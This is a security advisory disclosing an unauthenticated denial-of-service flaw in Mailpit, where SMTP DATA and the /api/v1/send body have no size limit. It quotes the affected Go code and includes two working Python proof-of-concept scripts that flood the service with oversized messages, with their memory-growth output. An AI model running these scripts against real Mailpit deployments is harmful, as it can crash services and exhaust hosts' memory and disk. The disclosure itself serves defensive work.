Mailpit: Unauthenticated remote memory-exhaustion DoS via unlimited SMTP DATA and /api/v1/send body sizes

### Summary The Mailpit SMTP server has a Server.MaxSize int field that controls the maximum allowed DATA payload size, but the field is never assigned anywhere outside test code, leaving it at Go's zero value (0 ⇒ "no limit"). The same applies to the HTTP /api/v1/send endpoint, whose request body is decoded with json.NewDecoder(r.Body) and no http.MaxBytesReader. Because Mailpit's default listeners bind [::]:1025 (SMTP) and [::]:8025 (HTTP), with no authentication required on either, a single network-reachable attacker can push an arbitrarily large message into Mailpit and watch RAM consumption spike with a ~7-10× amplification factor (raw frame → enmime envelope tree → search-text index → zstd-encoded write to SQLite). Repeating the attack — or running it concurrently from multiple connections — drives the process to OOM-kill. ### Details Pre-auth, remote DoS on every Mailpit deployment running the default configuration. Memory is the primary axis; disk is a secondary one, because each oversized message is also persisted to the SQLite store (config.MaxMessages caps the count at 500 but never the bytes — so 500 attacker-sized messages × 1 GiB each = ~500 GiB on the host disk before the LRU rotates). Affected code [internal/smtpd/smtpd.go:107](https://github.com/axllent/mailpit/blob/develop/internal/smtpd/smtpd.go#L107) — the field exists: ``` type Server struct { ... MaxSize int // Maximum message size allowed, in bytes ... } ``` [internal/smtpd/smtpd.go:863-877](https://github.com/axllent/mailpit/blob/develop/internal/smtpd/smtpd.go#L863-L877) — the enforcement is gated on > 0: ``` for { ... line, err := s.br.ReadBytes('\n') if err != nil { return nil, err } if bytes.Equal(line, []byte(".\r\n")) { break } if line[0] == '.' { line = line[1:] } if s.srv.MaxSize > 0 { // ← only when set if len(data)+len(line) > s.srv.MaxSize { _, _ = s.br.Discard(s.br.Buffered()) return nil, maxSizeExceeded(s.srv.MaxSize) } } data = append(data, line...) // ← otherwise grows unbounded } ``` [internal/smtpd/main.go:223-248](https://github.com/axllent/mailpit/blob/develop/internal/smtpd/main.go#L223-L248) — the field is never populated; grep -rn "MaxSize" cmd/ config/ returns zero hits. There is no --smtp-max-message-size CLI flag, no MP_SMTP_MAX_MESSAGE_SIZE env var. [server/apiv1/send.go:45-52](https://github.com/axllent/mailpit/blob/develop/server/apiv1/send.go#L45-L52) — HTTP path has the same defect: ``` decoder := json.NewDecoder(r.Body) data := sendMessageParams{} if err := decoder.Decode(&data.Body); err != nil { httpJSONError(w, err.Error()) return } ``` No r.Body = http.MaxBytesReader(w, r.Body, N) wrapper; server.ReadTimeout of 30 s is transmission-time, not body-size-budget. ### PoC Baseline RSS on a freshly-started binary: 25 MiB. After one 100 MiB SMTP DATA block: ~1 037 MiB (≈10× amplification, single connection, no auth): ``` #!/usr/bin/env python3 # poc-smtp-dos.py import socket, sys host, port = sys.argv[1], int(sys.argv[2]) mb = int(sys.argv[3]) # message size, MiB s = socket.create_connection((host, port), timeout=120) def r(): return s.recv(4096).decode("latin-1", "replace").strip() print(r()) for cmd in [b"HELO x\r\n", b"MAIL FROM:<[email protected]>\r\n", b"RCPT TO:<[email protected]>\r\n", b"DATA\r\n"]: s.sendall(cmd); print(r()) s.sendall(b"Subject: oversize\r\n\r\n") chunk = b"X" * (1024 * 1024) for _ in range(mb): s.sendall(chunk) s.sendall(b"\r\n.\r\n") print(r()); s.close() ``` ``` $ python3 poc-smtp-dos.py 127.0.0.1 1025 100 220 hostname Mailpit ESMTP Service ready 250 hostname greets x 250 2.1.0 Ok 250 2.1.5 Ok 354 Start mail input; end with <CR><LF>.<CR><LF> 250 2.0.0 Ok: queued as 58rI69JTJYjVFwogEbw9Jj $ ps -o rss= -p $(pgrep -f /usr/local/bin/mailpit) 1062848 # ≈ 1 037 MiB, up from 25 MiB baseline ``` Equivalent over HTTP: ``` # poc-http-dos.py import socket, sys host, port, mb = sys.argv[1], int(sys.argv[2]), int(sys.argv[3]) prefix = b'{"From":{"Email":"[email protected]"},"To":[{"Email":"[email protected]"}],"Subject":"big","Text":"' suffix = b'"}' N = mb * 1024 * 1024 clen = len(prefix) + N + len(suffix) s = socket.create_connection((host, port), timeout=120) s.sendall( b"POST /api/v1/send HTTP/1.1\r\n" b"Host: x\r\n" b"Content-Type: application/json\r\n" b"Content-Length: " + str(clen).encode() + b"\r\n" b"Connection: close\r\n\r\n") s.sendall(prefix) chunk = b"X" * (1024 * 1024) for _ in range(mb): s.sendall(chunk) s.sendall(suffix) print(s.recv(500).decode("latin-1", "replace")) ``` ``` $ python3 poc-http-dos.py 127.0.0.1 8025 200 HTTP/1.1 200 OK ... $ ps -o rss= -p $(pgrep -f /usr/local/bin/mailpit) 2147000 # comfortably above 2 GiB on the same process ``` Five concurrent SMTP connections × 50 MiB each took the same machine from 25 MiB → 1 970 MiB during the attack window. With sufficient bandwidth the only ceiling is host RAM. ### Impact Unauthenticated remote attackers can send arbitrarily large emails via SMTP or HTTP, causing unbounded memory and disk growth, leading to out-of-memory (OOM) kills and full Mailpit process crash (DoS)

Quoted source text, attributed separately from HOL analysis.